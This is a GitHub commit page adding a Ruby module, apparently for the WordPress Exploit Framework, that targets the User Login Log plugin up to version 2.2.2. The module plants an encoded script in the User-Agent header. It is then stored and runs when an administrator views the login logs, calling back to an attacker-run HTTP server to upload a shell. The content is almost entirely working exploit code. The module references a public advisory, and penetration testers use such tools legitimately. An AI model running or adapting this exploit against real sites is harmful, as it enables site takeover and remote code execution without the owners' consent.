Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 0294323

Browse files
committed
Add User Login Log <= 2.2.2 stored XSS shell upload
1 parent ebbb732 commit 0294323

File tree

1 file changed

+40
-0
lines changed

1 file changed

+40
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
class Wpxf::Exploit::UserLoginLogXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::Xss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'User Login Log <= 2.2.2 Authenticated Stored XSS Shell Upload',
9+
author: [
10+
'Axel Koolhaas', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8751'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_user_login_log_wordpress_plugin.html']
16+
],
17+
date: 'Mar 02 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('user-login-log', '2.2.3')
23+
end
24+
25+
def requires_authentication
26+
true
27+
end
28+
29+
def run
30+
scoped_option_change 'user_agent', "<script>#{xss_ascii_encoded_include_script}</script>" do
31+
emit_info 'Storing script...'
32+
return false unless super
33+
end
34+
35+
emit_success 'Script stored and will be executed when a user views the login logs.'
36+
start_http_server
37+
38+
xss_shell_success
39+
end
40+
end

0 commit comments

Comments
 (0)